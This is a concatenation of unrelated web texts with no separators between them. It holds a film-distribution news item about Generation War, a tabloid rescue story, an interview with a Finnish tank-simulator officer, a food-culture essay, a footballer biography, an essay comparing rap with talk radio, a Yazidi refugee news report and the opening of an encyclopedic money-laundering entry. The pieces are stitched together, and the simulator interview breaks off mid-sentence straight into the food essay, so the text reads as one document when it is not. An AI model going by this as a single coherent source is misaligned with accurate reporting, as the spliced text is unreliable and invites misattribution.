CANNES - Theatrical distributor Music Box Films has picked up U.S. rights to Generation War, an acclaimed German-language TV series billed as a German equivalent to HBO's Band of Brothers, from sales group Beta Film.
Music Box is planning a platform theatrical bow for the six-hour Generation War in selected U.S. cities, to be followed by a roll out on VOD, home video and TV. Music Box has experience with handling international series, having scored successes with the U.S. bow of the Swedish Millennium crime trilogy, released as three feature films and a six-part TV series as well as the original Swedish version of the Henning Mankell procedural Wallander.
Generation War, which aired as a three-part miniseries in Germany, was a ratings hit for public broadcaster ZDF; drawing a peak of some 8.5 million viewers. Critics have hailed the series and its brutal depiction of the war on Germany's East Front as a turning point for local-language drama. The series has also provoked a heated debate, both in Germany and in neighboring Poland.
Directed by Philipp Kadelbach, Generation War features a cast of German cinema stars including Tom Shilling (Oh Boy), Sylvester Groth (Inglourious Basterds) and Katharina Schuttler (Carlos).
In addition to the U.S. deal, Beta has sold rights to Generation War to Arrow Film in the U.K., to EOne/Hopscotch for Australia and to Sweden's SVT, marking the first time in years the Swedish public channel will air a German TV series.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A man had to dial 999 after getting a toilet roll holder stuck in his bottom.
He was unable to move and called from his mobile.
He was freed from the toilet roll holder by firemen and needed on-the-spot medical treatment by paramedics.
The un-named man, from Newport, South Wales, was given “suitable advice” by firemen to avoid getting into a similar situation again.
South Wales Fire and Rescue Service has freed 864 people in three years – 26 were in sexy handcuffs.
The Fire Brigades Union in Wales said: “We do have to deal with wacky things.
“Sometimes someone will tell you a story and you just think: 'I can’t top that'.
“To be honest, if I managed to get myself into one of these sorts of scrapes, the last thing I would want would be a whole crew of firefighters coming to see me!”
The increase in the number of amorous couples getting stuck in handcuffs has been put down to the “Fifty Shades of Grey” effect.The man currently sipping a Koskenkorva and consulting his cue cards in the U/S Williams X-Jet The Flare Path uses as a dais is Ilja ‘Zipuli’ Varha. Our second ‘atypical simmer‘, Ilja has very kindly agreed to talk about his journey from juvenile M1 Tank Platoon fan to 33-year-old brigade simulator officer in the Finnish Defence Forces. Whether your polygonal battle wagon of preference is a Steel Beasts Leo, a Steel Fury T-34 or a World of Tanks Tiger, the following paragraphs should prove interesting.
“I was six years old when my dad bought a new kind of game for our family’s state-of-the-art 386. Looking back now M1 Tank Platoon by MicroProse had little to do with the actual simulation of an M1 Abrams tank, but at that time the battlefield realism it offered was something new to me and I was blown away. According to my mother I spent too much time in the virtual turret, fighting off waves of Soviet armour, but little did she know… such games were also a great way of learning English!”
“M1 Tank Platoon sucked me into computer simulator games, and I went on to enjoy other great titles like Their Finest Hour: Battle of Britain and Secret Weapons of the Luftwaffe by LucasFilm Games, and F-117A Stealth Fighter from MicroProse. In the latter I would fly without permission through the airspace of my home country to take out submarine bases on the Kola Peninsula. With the beeps of radar warning systems echoing in the dark cockpit, such jaunts were always thrilling. The stories created by F-117A were enriched by TV glimpses of real stealth fighters flying sorties in the first Gulf War.”
“I went on to play a lot of other flight simulators like Spectrum HoloByte’s Falcon 3.0, Jane’s US Navy Fighters, Aces over Europe and more recently IL-2 Sturmovik, but somehow the thrill was no longer there. Unfortunately simulation games, especially those concerned with land warfare, were in decline at the time. iM1A2 Abrams tried, so did M1 Tank Platoon II, but both lacked proper realism and were technically poor. Because sims no longer delivered what I was looking for, my interest shifted to the strategy genre and groundbreaking wargames like Steel Panthers.”
“In Finland we have mandatory military service for all males starting the year you turn 18. At that age, having finished school in 2002, I was called in to do my service, and of course I applied to join the armour branch. At that time all armour units were trained in Hämeenlinna, utilizing T-72 tanks and BMP IFVs. Because I lived in a different place with another garrison closeby, and I had a driver’s licence for trucks, I was ordered to report at Karelia brigade to become a driver for the logistics branch. You can probably measure my disappointment by the fact that today I can still remember the name of the major who gave the order, even though I met him 15 years ago and only for a minute.”
“But getting started in the army was interesting even without tanks, and I did dodge the truck driver bullet by being ordered first to NCO school, then to reserve officer school to become a platoon leader in Finnish light motorized infantry, Jaegers. I enjoyed the training in the reserve officer school, which was mentally and physically challenging, and graduated as an officer candidate.”
“When I returned to Karelia brigade to resume the service, I saw some curious vehicles there. Having learned to identify most armour types from strategy games and simulations, on one march exercise I was surprised to recognize a Swedish built CV9030 passing by our column with its 30mm autocannon barrel pointing at me, the stabilizer keeping me zeroed in with impressive accuracy. I think the gunner chose to try to intimidate me as I was at the head of the column carrying an APILAS antitank weapon. I did not know it then, but the brigade was soon to be mechanized, and the vehicles I saw were being tested to fill the role of infantry fighting vehicle in the new panzerjaeger units.”
“During my year as a conscript I also got to know the live simulators in use. The one we used back then was similar to the American MILES system, the idea being that you wear a vest that picks up laser beams transmitted when firing blanks from an emitter-equipped weapon. This brought some realism to our practise firefights as if you didn’t keep your head down, you were bound to hear a beep indicating you’d been hit. Nowadays these systems are a lot more advanced, with GPS tracking and added battlefield elements like minefields and artillery to spice up the experience.”
“After national service, I was promoted to 2nd Lieutenant in infantry and commanded back to civilian life, or “the reserve” as it’s called. Having enjoyed my taste of the Puolustusvoimat I applied to Military College, got in, and, scoring high enough, got to choose my branch. And armour it was, finally!”
“During the 4 years of officer’s basic training I got to know the Russian BMP-2 infantry fighting vehicle and the newly bought German Leopard 2A4 main battle tank intimately (yes, tanks have souls and the tank god is a T-34).”
“Not a single game can convey the actual atmosphere of being inside a rocking and roaring metal box, firing rounds at targets kilometers away. And what games tell you about a tankers’ life is only about 10% of the actual work. But at least it’s mostly the more interesting bits, as maintenance, repairing a detrack, ammunition preparations, sentry duties etc., and the hefty amount of waiting would probably make for a rather uninteresting game.”
“During the Leopard training we were introduced to a computer simulator called Steel Beasts Pro by eSim Games. I recognized the game, as the original SB had been released in 2000, and I had played it along with other titles like Operation Flashpoint that were breathing new life into the land warfare genre at that time. Pro is the military version that came into being when militaries realized the potential of virtual simulators as a low cost alternatives to cabin trainers.”
“We used SB to get accustomed to things like the fire-control system in the Leopard. I got to know the game better when the Personal Edition was released in 2006. I bought it, and was immediately smitten. Tank simulation had come a long way since M1 Tank Platoon! The game, or rather ‘simulation’, puts realism first, and that won me over instantly. I fiddled around with SB a lot, creating scenarios, painting Finnish camouflage on the vehicles and so on.”
“The only big thing the title lacks is proper simulation of the hull’s life – the sort of rich mud-spattered driving experience offered by sims like Steel Armor: Blaze of War by Graviteam, or, even better, the brilliant Spintires by Oovee. But SB more than makes up for it in other departments, like the fire-control systems and AI!”
“I graduated in 2007 and was commissioned to my old brigade, now equipped with the latest gear Finnish Defence Forces could offer us grunts. I was schooled in the new main ride, the CV9030FIN IFV, and worked as an instructor in the mechanized infantry. What struck me at that point was that the vehicle had no proper simulator equipment available for crew training. Having to do all training using real kilometers and live ammunition is of course excellent for the crews, but only if the resources are sufficient. Also there’s the wear and tear to the equipment, which is costly. And we all know that militaries are not overflowing with money…”
“The situation improved when a decision was made to acquire SB software and to build a simulated CV9030 to be used from crew training up to simulated tactical maneuvers. As I happened to be in the right place at the right time, and already had years of experience with SB, I along with a few others was appointed to “get it done”. And so we did. Soon we had a classroom with computers in a local area network, utilised for training of the vehicle crews in arts of gunnery, command and tactics.”
“It was quickly noticed that training results improved, especially in gunnery, where theory instruction could be followed up with invaluable hands-on experimentation. This of course requires a high fidelity simulation otherwise crew-members may learn bad habits that can backfire in real exercises. And the main thing to understand about this kind of training is that it teaches you the principles only, so it’s mainly intellectual learning augmented with some physical handling of instruments, for example by using simulated gunner’s control handles. The real learning comes when the troops go out and do the same things with real equipment. With good simulator training behind them, the troops get better training results in the field as they’ve made most of the mistakes already in virtual environments.”
“The difference between even the best simulation software and the real vehicles is physical and mechanical of course. As I pointed out earlier, simulators can convey only about 10% of the full spectrum of a tanker’s life. When cramped in the rocking, dark turret, with little visibility outside, with multiple voices booming in your headgear and tension and anxiety running through your body, you have to know how to do things with your hands and body automatically. This automation, muscle memory, and becoming one with the vehicle cannot be obtained in a classroom, and it can only be trained up to a point with other simulation equipment. So simulation equipment really does not remove the need for actually drilling, but rather makes it more effective when supported properly.”
“After these happy lieutenant years, simulation training within our Defence Forces has taken another big step forward with new equipment being brought into use in quantity. Because the expansion has required a lot of effort to plan, prepare and train the instructors, there was a need to appoint people for this task. Having already quite a lot of |
competition, an ever-present occasion for snobbery, one-upmanship and social aggression. (My farmers’ market has bigger, better, fresher tomatoes than yours.) Nobody cares if you know about Mozart or Leonardo anymore, but you had better be able to discuss the difference between ganache and couverture.
Young men once headed to the Ivy League to acquire the patina of high culture that would allow them to move in the circles of power — or if they were to the manner born, to assert their place at the top of the social heap by flashing what they already knew. Now kids at elite schools are inducted, through campus farmlets, the local/organic/sustainable fare in dining halls and osmotic absorption via their classmates from Manhattan or the San Francisco Bay Area, into the ways of food. More and more of them also look to the expressive possibilities of careers in food: the cupcake shop, the pop-up restaurant, the high-end cookie business. Food, for young people now, is creativity, commerce, politics, health, almost religion.
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It took me some effort to explain to a former student recently that no, my peers did not talk about food all the time when we were her age, unless she meant which diner we were going to for breakfast. “But food is everything!” she said.
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Like art, food is also a genuine passion that people like to share with their friends. Many try their hands at it as amateurs — the weekend chef is what the Sunday painter used to be — while avowing their respect for the professionals and their veneration for the geniuses. It has developed, of late, an elaborate cultural apparatus that parallels the one that exists for art, a whole literature of criticism, journalism, appreciation, memoir and theoretical debate. It has its awards, its maestros, its televised performances. It has become a matter of local and national pride, while maintaining, as culture did in the old days, a sense of deference toward the European centers and traditions — enriched at a later stage, in both cases, by a globally minded eclecticism.Wesley Michael Brown (born 13 October 1979) is an English professional footballer who last played as a defender for Indian club Kerala Blasters. [4]
Brown began his career with Manchester United, joining the club's academy at the age of 12 in 1992. After turning professional in 1996, he made his senior debut in 1998 and became a semi regular first team player during the 1998–99 season, when the club won the Treble. After a year-long hiatus due to injury, Brown became a regular fixture in the first team from 2000 onwards. Over the next eight years, he won numerous honours, including four more Premier League titles, an FA Cup, a League Cup and another Champions League. Former United manager Sir Alex Ferguson has stated that Brown is "without question the best natural defender this club has had for years".[5] After 15 years with Manchester United, Brown was allowed to leave for Sunderland.
Brown earned his first England cap in 1999 and was selected to play at the 2002 World Cup. He played in the UEFA Euro 2008 qualifiers but England failed to progress to the final tournament. He scored his first international goal in 2008 against the Czech Republic. Brown announced his retirement from international football on 8 August 2010, just a day after being recalled to the England squad by Fabio Capello.
Club career [ edit ]
Manchester United [ edit ]
Born in Longsight, Manchester, Brown began his serious football career as a schoolboy playing for the Burnage High School[6] and Fletcher Moss Rangers, a Greater Manchester youth side, and was a former student of the Lilleshall Hall FA School of Excellence, as well as spending time at United's football Academy, which he joined at the age of 12.[7] Brown showed talent and maturity at an early age, signing full professional terms with boyhood club Manchester United on 4 November 1996 at the age of 17.
Brown went on to success with the reserve and youth sides, winning the FA Youth Cup and a Lancashire Division One medal with the reserves. He also added two Jimmy Murphy (Young Player of the Year) awards to his collection, becoming only the second player to receive the award for a second time (the other being Ryan Giggs).[citation needed]
On 4 May 1998, Brown made his full first team FA Premier League debut against Leeds United, coming on as a substitute. His breakthrough would occur the next year, the 1998–99 season, where he made several first-team appearances at right-back as well as his more natural position of centre-back. The season could not have gone any better for Brown, as United completed the treble, winning the Premier League, FA Cup and UEFA Champions League.
Brown suffered the first of what would be a string of injuries while training for the 1999–2000 campaign. As a result, he did not play a single competitive game all season, while United went on to seal their sixth Premier League title in eight seasons.
His strong comeback the following year prompted praise from all corners, with club manager Sir Alex Ferguson making waves by proclaiming Brown to be Manchester United's most talented defender.[5]
Brown after a match against Barcelona in April 2008
A fine 2000–01 campaign was followed by another solid year in 2001–02. His reputation grew even greater during the 2002–03 season, but again, his performances were marred by injury. Brown tore a knee ligament on the final day of the season, and did not return until midway through the 2003–04 season. Brown finished the season in good form, notably giving an imperious, man of the match-winning performance in the FA Cup semi-final win over Arsenal. It was after this fine display that Ferguson re-iterated his confidence in Brown's abilities.[8]
Brown was a member of the side that won the FA Cup that year, against Millwall at Cardiff, and later went on to collect runners-up medals in the 2005 and 2007 finals.
The signing of Nemanja Vidić in January 2006, who would go on to forge a highly successful partnership with Rio Ferdinand, along with Brown's continuing injury problems, meant the defender continued to struggle to hold down a place in United's starting line-up. In the 2007–08 season, however, Brown established himself as the club's first-choice right-back. He ended the season by assisting Cristiano Ronaldo's goal in the 2008 Champions League final, which United eventually won on penalty kicks to complete a league and European double.
Brown playing in the Manchester derby. Manchester United wore a plain kit for this game to signify the 50th anniversary of the Munich air disaster
After nearly three years without scoring a Premier League goal for United, Brown scored on 23 March 2008 against Liverpool, the first in a 3–0 win.[9]
After initially rejecting a new contract offer in December 2007,[10] Brown signed a new five-year contract along with fellow defender Rio Ferdinand and midfielder Michael Carrick in April 2008, which was to keep him at Old Trafford until 2013.[11]
On 4 October 2008, Brown scored only the fourth goal of his Manchester United career when he headed in Wayne Rooney's cross in United's 2–0 win away to Blackburn Rovers. The goal was controversial, however, as Blackburn's players believed that Nemanja Vidić had impeded their goalkeeper, Jason Brown, allowing Brown to head in at the far post.[12]
Brown was ruled out of first team action for around five weeks in November 2008, following an exploratory ankle operation.[13] Brown made his first start in eight months away against Hull City on 24 May 2009.
Brown started the following season, featuring throughout August in the league, but between September and October only appeared in United's League Cup campaign, before injury to both Rio Ferdinand and Nemanja Vidić saw Brown return to Premier League action as he partnered Jonny Evans in central defence against Blackburn, and both men produced an assured and professional display. This was Brown's first Premier League start since the 2–1 victory against Arsenal, at the end of August.
Brown captained the League Cup game against Wolverhampton Wanderers in which they won 3–2. On 19 February, he scored his first FA Cup goal in Manchester United's 1–0 win over Crawley Town. He also captained United again in the Crawley match.
Sunderland [ edit ]
Brown joined Sunderland on 7 July 2011 on a four-year contract for an undisclosed fee.[14] Brown made his debut on the opening day of the season at Liverpool, where he was awarded man of the match as Sunderland drew 1–1.[15] On 5 November 2011, Brown scored an own goal in a match against his former club, Manchester United.[16] Brown's first goal for Sunderland came on 21 December 2011, when he scored the winning goal with two minutes remaining in a 3–2 victory away to Queens Park Rangers.[citation needed] Brown's season ended through injury in the FA Cup Fourth Round tie with Middlesbrough in January 2012.
He made his Premier League comeback on 2 November 2013 in a 1–0 defeat against Hull.[17] On 23 November 2013, Brown was sent off during a 2–0 defeat against Stoke City, a decision that was overturned on appeal on 26 November 2013.[18] Brown was sent off again on 21 December 2013, in a 0–0 draw against Norwich City.[19] Brown was given his third red card of the season in the fourth minute of Sunderland's 2–0 defeat to Hull City.
On 28 February 2015, Brown was sent off during a match against Manchester United, which Sunderland lost 2–0, though it was John O'Shea who actually committed the foul.[20] Referee Roger East insisted he got the decision right.[21] The red card was later rescinded after Sunderland won an appeal.[22]
At the end of the 2014–15 season, Brown was named as one of several Sunderland players available on a free transfer at the end of his contract in June 2015. On 12 June 2015, however, manager Dick Advocaat signed Brown to a one-year contract extension.[23]
Blackburn Rovers [ edit ]
On 21 September 2016, following a number of injury set-backs and three-and-a-half months training with the club to regain fitness, Brown signed a short-term contract with Blackburn Rovers, lasting until the end of the season.[24] As part of the deal, Brown will also take up a coaching role with the club's development squad, a team for which he had played a number of games while regaining fitness. He will work alongside existing coaches Damien Johnson and David Dunn and offer guidance and advice to the club's younger players.[25] He made his debut and scored his first goal for Blackburn against Reading on 17 December 2016.[26]
Kerala Blasters [ edit ]
Brown reunited with former Manchester United coach René Meulensteen in August 2017, joining Meulensteen at Indian Super League club Kerala Blasters.[27]
Coaching career [ edit ]
Brown was part of the Blackburn Rovers Under-23s and Academy coaching setup during his time with the club.[25] He holds the UEFA 'A' Licence, which he achieved with the Irish Football Association.[28][29]
International career [ edit ]
Brown has represented England at international level, making 23 appearances since debuting in 1999. He was notably part of the England squad at the 2002 FIFA World Cup in Japan and South Korea.
Brown made his debut in 1999 against Hungary and booked a place in Sven-Göran Eriksson's squad for the 2002 World Cup, although he spent his time on the bench.[5]
Brown performed consistently well in the 2005–06 season which led to his recall to the England squad for the friendly game against Uruguay. Although he played no part in this fixture, he hoped to make it into the final England squad for the 2006 World Cup, though he was ultimately not selected.
He was once again recalled to the England squad by coach Steve McClaren, and played in a defeat of Andorra in UEFA Euro 2008 qualifying on 2 September, partnering John Terry at the heart of the England defence in place of injured Manchester United teammate Rio Ferdinand. He replaced Terry in a friendly against Brazil on 1 June 2007, but he slipped up with his first touch of the ball and nearly scored an own goal.
Fabio Capello era [ edit ]
Fabio Capello named Brown as a starter in both of his first two games in charge of the national team, against Switzerland[30] and France.[31] He also played 56 minutes in England's 2–0 win over the United States on 28 May 2008.
Brown scored his sole senior international goal in a friendly against the Czech Republic on 20 August 2008 at Wembley Stadium, heading in a David Beckham corner in the 45th minute.[32]
Brown made three appearances for England in their qualification for the 2010 World Cup in wins over Croatia (4–1), Kazakhstan (5–1) and Belarus (3–1).
Brown was called up for the England squad to face Slovenia in a friendly match on 5 September 2009, but was an unused substitute. He was then called up for a friendly against Brazil to be played Khalifa International Stadium in Qatar, where he played the full 90 minutes.
Brown also played in England's 3–1 win over Egypt on 3 March 2010. He did not, however, make the England squad for the 2010 World Cup in South Africa after an injury-hit season.
Brown retired from international football on 8 August 2010, one day after being selected for a friendly against Hungary.[33]
Personal life [ edit ]
Brown is married to Leanne Wassell, with whom he lives with their three daughters, Halle, Lilia and Lola.[34] His father, Bancroft Brown, died in February 2008.[35] His half-sister, Claire Fallows,[36][37] died on 19 July 2008 during pregnancy.[35] Brown's younger brother, Reece, who plays for Bury having joined the Manchester United Academy at the age of nine,[38] also plays at centre-back and is an England under-20 international. Another brother, Clive, was on the books of Manchester City as a youth player in the late 1990s,[39] before going on to play for Hyde United, Bangor City,[40] Mossley, Woodley Sports and currently plays for New Mills.[41]
Career statistics [ edit ]
Club [ edit ]
As of match played 23 February 2018[42][43][44]
Club Season League FA Cup League Cup Europe Other[nb 1] Total Apps Goals Apps Goals Apps Goals Apps Goals Apps Goals Apps Goals Manchester United 1997–98 2 0 0 0 0 0 0 0 0 0 2 0 1998–99 14 0 2 0 1 0 4 0 0 0 21 0 1999–2000 0 0 – 0 0 0 0 0 0 0 0 2000–01 28 0 1 0 1 0 11 0 0 0 41 0 2001–02 17 0 0 0 0 0 7 0 0 0 24 0 2002–03 22 0 2 0 5 0 6 1 0 0 35 1 2003–04 17 0 6 0 0 0 2 0 0 0 25 0 2004–05 21 1 6 0 3 0 7 0 0 0 37 1 2005–06 19 0 4 0 5 0 3 0 0 0 31 0 2006–07 22 0 6 0 2 0 7 0 0 0 37 0 2007–08 36 1 4 0 1 0 10 0 1 0 52 1 2008–09 8 1 0 0 1 0 2 0 2 0 13 1 2009–10 19 0 1 0 5 0 4 0 0 0 29 0 2010–11 7 0 3 1 3 0 2 0 0 0 15 1 Total 232 3 35 1 27 0 65 1 3 0 362 5 Sunderland 2011–12 20 1 1 0 1 0 – – 22 1 2012–13 0 0 0 0 0 0 – – 0 0 2013–14 25 0 1 0 5 0 – – 31 0 2014–15 25 0 2 0 1 0 – – 28 0 2015–16 6 0 0 0 0 0 – – 6 0 Total 76 1 4 0 7 0 0 0 0 0 87 1 Blackburn Rovers 2016–17 4 1 1 0 0 0 – – 5 1 Kerala Blasters 2017–18 14 1 — 1 0 — — 15 1 Career total 326 6 40 1 35 0 65 1 5 0 469 8
International [ edit ]
National team Year Apps Goals England[45] 1999 1 0 2000 1 0 2001 2 0 2002 2 0 2003 1 0 2004 0 0 2005 2 0 2006 1 0 2007 4 0 2008 7 1 2009 1 0 2010 1 0 Total 23 1
Honours [ edit ]
Manchester United[46][47]
Individual
Notes [ edit ]Rush Limbaugh peppers his show with self-adulating incantations that would seem right at home on a Snoop Dogg track, calling himself “Chief Waga-Waga El Rushbo of the El Conservo Tribe,” “doctor of democracy,” and “a weapon of mass instruction.” Both he and Jay-Z have referred to themselves as “a living legend.”
HATERS You’re nobody in hip-hop until you claim to have hordes of detractors. The paradox, of course, is that the artists who regularly denounce their haters have a huge and adoring audience. How does Lil Wayne complain in song about the legions who seek his ruin even as he dominates the charts? Ask Michael Savage, who is forever describing himself as an underdog, marginalized by the media — on the more than 300 stations that carry his show.
FEUDS 50 Cent vs. Ja Rule. Lil’ Kim vs. Foxy Brown. Jay-Z vs. Nas. Every couple of years, one rapper will pick a fight with another and battle it out with the winner typically determined by sales. This will sound familiar to anyone who has followed, say, Bill O’Reilly’s broadsides at Mr. Limbaugh (“Walk away from these right-wing liars!” Mr. O’Reilly said of an unnamed rival, described as someone who smokes a cigar and owns a private jet) or Mark Levin’s attack on Mr. O’Reilly. (“He has a fledgling radio show, that has no ratings,” Mr. Levin said in 2008, “and he’ll be off radio soon because he’s a failure.” Levin’s predication came true in January of this year.) Liberal ranters can partake, too, as MSNBC host and fulminator par excellence Keith Olbermann has proven with his long running O’Reilly spat.
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VERBAL SKILLS Without them, you can’t rap and you’ll never make it as a talk radio opinion-machine. Free-style rap requires precisely the facility with words that it takes to free-associate for two or three hours a day. Forget, for a moment, what the Fox TV and radio gabber Glenn Beck is saying and marvel for a moment at how long he can say it — and how sharp and funny he can be. In a recent and genuinely hilarious bit, he lampooned the sleepiness of NPR talk shows by affecting a plummy British accent and repeatedly urging a caller — a member of his coterie in actual fact — to “please use your indoor voice,” though the caller was talking at a perfectly reasonable volume.
Mr. Savage’s riffs are a quirky, zig-zagging flow of ideas that at their best are a kind of talk show scat, jumping from a mini-lecture about the Khmer Rouge, to a rave about barbecue chicken, to a warning that he feels a bit manic, which means he’ll be depressed for tomorrow’s show.
If Mr. Limbaugh is conservative talk radio’s answer to Jay-Z, Mr. Savage is its Eminem — a man whose own neuroses are one of his favorite topics.
Even beyond simple matters of style, rap and conservative talk radio share some DNA. Once you subtract gangsta rap’s enthusiasm for lawlessness — a major subtraction, to be sure — rap is among the most conservative genres of pop music. It exalts capitalism and entrepreneurship with a brio that is typically considered Republican. (Admiring references to Bill Gates are common in hip-hop.)
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Rappers tend to be fans of the Second Amendment, though they rarely frame their affection for guns in constitutional terms. And rap has an opinion about human nature that is deeply conservative — namely, that criminals cannot be reformed. The difference is that gangsta rappers often identify themselves as the criminals, and are proud of their unreformability.
Finally, rappers and conservative talkers both speak for a demographic that believes its interests and problems have been slighted and both offer stories that have allegedly been ignored.
Obviously, there are limits to all these parallels, but there is one more worth noting: rap has inspired its share of fear and now, liberals and moderates are asking the same question about conservative talk radio that conservatives have long asked about rap: How dangerous is it?
There’s a curious role reversal here, with fans of Mr. Limbaugh, et al., now under the very suspicion that had long been cast on fans of gangsta rap. The suspicion boils down to another question: Can people listen to highly provocative words (and in rap’s case, irresistible beats) and still be civil?
This seemed like a good question to pose to a man uniquely situated to opine about the shaded part of the Venn diagram of rap and conservative talk radio. I’m talking about DJ Clayvis, né Clay Clark, an Oklahoma-based, right-leaning talk show host and rapper. He has written anti-Obama raps, including “Audacity of Nope” and, though he believes his favorite talkers are sincere conservatives, he has long understood that his two different callings have a lot in common.
“The differences between Ludacris and Rush Limbaugh are not that great,” he said. “Both have a huge egos, both bring a lot of bravado, both are sort of playing characters when they perform. And at the end of the day, they’re both entertainers.”The Iraqi children 'drinking their parents' BLOOD to stay alive': How refugees stranded on Mount Sinjar are cutting their hands to save their young
Horrific stories of 30,000 Yazidis trapped by Islamic State jihadists emerge after 8,000 escape down the mountain
Hundreds of families have made it across border into Turkey and Syria after trekking for days in 45C temperatures
Minority sect has been sent scattering in all directions after Islamic State jihadists stormed their town a week ago
Some families have been forced to pay smugglers to take them through rivers and minefields to make it to safety
Another 130 U.S. troops have arrived in Iraq to assess the crisis facing 30,000 Yazidis trapped on Mount Sinjar
British Government also remained under pressure to consider military intervention to rescue the refugees
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Children trapped on a mountain by Islamic State militants in Iraq are drinking blood from their parents to stay alive, it emerged today.
Their horrendous plight was revealed after some 8,000 Yazidis were finally able to escape down Mount Sinjar where they have been under siege from jihadist fighters for the last week.
Those fleeing have made it to relative safety at a camp in Dohuk Province in Kurdistan, where they have told horrific stories of the 30,000 who have been left behind.
Sky News correspondent Sherine Tadros, who is at the camp, said: 'One man has just told us how he saw four children die of thirst.
'There was nowhere to bury them on the mountain so they just put rocks on their bodies.
'Another man was saying the children were so thirsty, their parents started cutting their own hands and giving them blood to drink.'
Desperate: Displaced Yazidis are clawing for food and drink to stay alive in the desert, with children allegedly drinking their parents' blood
Those fleeing have made it to relative safety at a camp in Dohuk Province in Kurdistan, where they have told horrific stories of the 30,000 left behind Hundreds of other families have also made it across the border after trekking for hundreds of kilometres through sweltering temperatures to safety They are being given food, water and medical treatment at shelters in Turkey and Syria after being driven out of their town by ISIS more than a week ago Hundreds of other families have also made it across the border after trekking for hundreds of kilometres through sweltering temperatures to safety. They are being given food, water and medical treatment at shelters in Turkey and Syria after being driven out of their town by ISIS more than a week ago.
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Next Incredible moment brave Kurdish reporter walks out into No... Iraqi helicopter carrying aid to Yazidi refugees stranded on... You're not too young to die: British jihadists in bid to... Share this article Share Some have been forced to pay smugglers their life savings to take them on perilous journeys across the border into Turkey, sometimes through minefields.
They are among several gruelling treks to freedom the community has taken after they were sent scattering to the four corners by the insurgency, which has trapped around 30,000 others on Sinjar Mountain with no food or water. Refuge at last: Displaced Iraqis from the Yazidi community look for clothes to wear among items provided by a charity organisation at the Nowruz camp, in Derike, Syria Fleeing jihad: Syrian Kurdish fighters battled Islamic State militants to carve an escape route to tens of thousands trapped on a mountain top Displaced: Thousands of Yazidis have trekked for hundreds of kilometres to make it across the border after they were driven from their town by ISIS more than a week ago Scattered: A graphic showing the various escape routes the Yazidis have taken, often through hundreds of kilometres of desert terrain, after being attacked by ISIS
Around 2,000 Yazidis have made it to a refugee camp in Derabon, a small village near Zakho on the Iraqi Kurdistan-Turkey border.
But with no passports, many are having to sit tight and hope the uprising is crushed or pay smugglers to help them avoid the official border crossing at Habur.
One mother who suffers agonising rheumatism told how she and her three young children waded through the Tigris River, tip-toed her way through a minefield and climbed through a barbed-wire fence to make it into Turkey.
Half-way through the five-hour journey, Amal said the smuggler wanted her children to leave her behind because she was too slow, but they chose to carry her instead.
The 43-year-old told The Times: 'My sons gathered around me and they refused. We were not afraid of dying there. We were afraid of dying at the hands of the Islamic State.'
Another teenager has not been so lucky.
Amer Omar Pajo said he watched his father get shot in the head by ISIS gunmen as they fled to the mountains and his mother later succumbed to dehydration.
Taking shelter: Iraqi Yazidi refugees escaping from attacks by the Islamic State settle into their makeshift home in the Turkish city of Sirnak Ms Greening, who announced £8 million in new assistance last week: said: 'As thousands of Iraqi people remain cut off away from their homes, we are focused on getting help to those in need, particularly those trapped on Mount Sinjar. 'After last night the RAF have successfully made five drops, including thousands of containers filled with clean water that can also be used to purify dirty water and hundreds of shelter kits.' Islamic State, which sees Shi'ites as heretics who deserve death, has seized a series of towns in northern Iraq, in a sweeping advance that has left the Iraqi government reeling and prompted tens of thousands to flee. The group has declared religious rule in a caliphate straddling Syria and Iraq, offering both Christians and members of the ancient Yazidi sect, whom it calls 'devil worshippers', the stark choice between conversion to Islam or death.
It came as a former senior Iraqi politician warned that the country risks becoming another Syria unless a way to preserve its unity is found. Hajem Hassani, previously speaker in the Iraqi parliament, said if the society did not come together, it would leave the door wide open to the Islamic State (IS). He told BBC Radio 4's Today programme: 'This is probably one of the hardest times Iraq is facing. 'If we don't come together, then probably we will open the door too wide for the IS or other terrorist organisations. 'We need to take the control...(or) it definitely will take us to the Syrian path if we are not very careful and finding ways to solve the problems.' Asked whether newly-appointed prime minister Haider Abadi understood the need for an inclusive government, he replied: 'He should do.'
Sustenance: Refugees who fled across the border wait to receive food after reaching a camp in the city of Sirnak in Turkey's Silopi district
Meanwhile, unrest continued in Baghdad, where Iraqi troops imposed heightened security as international support mounted for a new prime minister to replace Nouri al-Maliki, who has called on the armed forces to stay out of politics amid fears of a possible coup.
Tanks and Humvees were positioned on Baghdad bridges and at major intersections on Wednesday, with security personnel more visible than usual. About 100 pro-Maliki demonstrators took to Firdous Square in the capital, pledging their allegiance to him.
The embattled premier has grown increasingly isolated, with Iraqi politicians and much of the international community lining up behind Haider al-Abadi, a fellow member of his Shiite Dawa party tasked by the president with forming a new government that can unite the country in the face of an onslaught by Sunni militants.
Widespread discontent with al-Maliki's divisive rule has reached the point where both Saudi Arabia and Iran - regional rivals often bitterly divided over Iraq - have expressed support for al-Abadi. The United States, the European Union and the United Nations have also expressed support for new leadership.
But al-Maliki, whose bloc won the most votes in April elections, has thus far refused to step aside and rejected the appointment of al-Abadi as unconstitutional.Money laundering is the process of concealing the origins of money obtained illegally by passing it through a complex sequence of banking transfers or commercial transactions.[1]
One problem of criminal activities is accounting for the proceeds without raising the suspicion of law enforcement agencies. Considerable time and effort may be put into strategies which enable the safe use of those proceeds without raising unwanted suspicion. Implementing such strategies is generally called money laundering. After money has been laundered it can be used for legitimate purposes. Law enforcement agencies of many jurisdictions have set up sophisticated systems in an effort to detect suspicious transactions or activities, and many have set up international cooperative arrangements to assist each other in these endeavors.
In a number of legal and regulatory systems, the term "money laundering" has become conflated with other forms of financial and business crime, and is sometimes used more generally to include misuse of the financial system (involving things such as securities, digital currencies, credit cards, and traditional currency), including terrorism financing and evasion of international sanctions.[2] Most anti-money laundering laws openly conflate money laundering (which is concerned with source of funds) with terrorism financing (which is concerned with destination of funds) when regulating the financial system.[3]
Some countries treat obfuscation of sources of money as also constituting money laundering, whether it is intentional or by merely using financial systems or services that do not identify or track sources or destinations. Other countries define money laundering in such a way as to include money from activity that would have been a crime in that country, even if the activity was legal where the actual conduct occurred.[4]
History [ edit ]
Laws against money laundering were created to use against organized crime during the period of Prohibition in the United States during the 1930s. Organized crime received a major boost from Prohibition and a large source of new funds that were obtained from illegal sales of alcohol. The successful prosecution of Al Capone on tax evasion brought in a new emphasis by the state and law enforcement agencies to track and confiscate money, but existing laws against tax evasion could not be used once gangsters started paying their taxes.
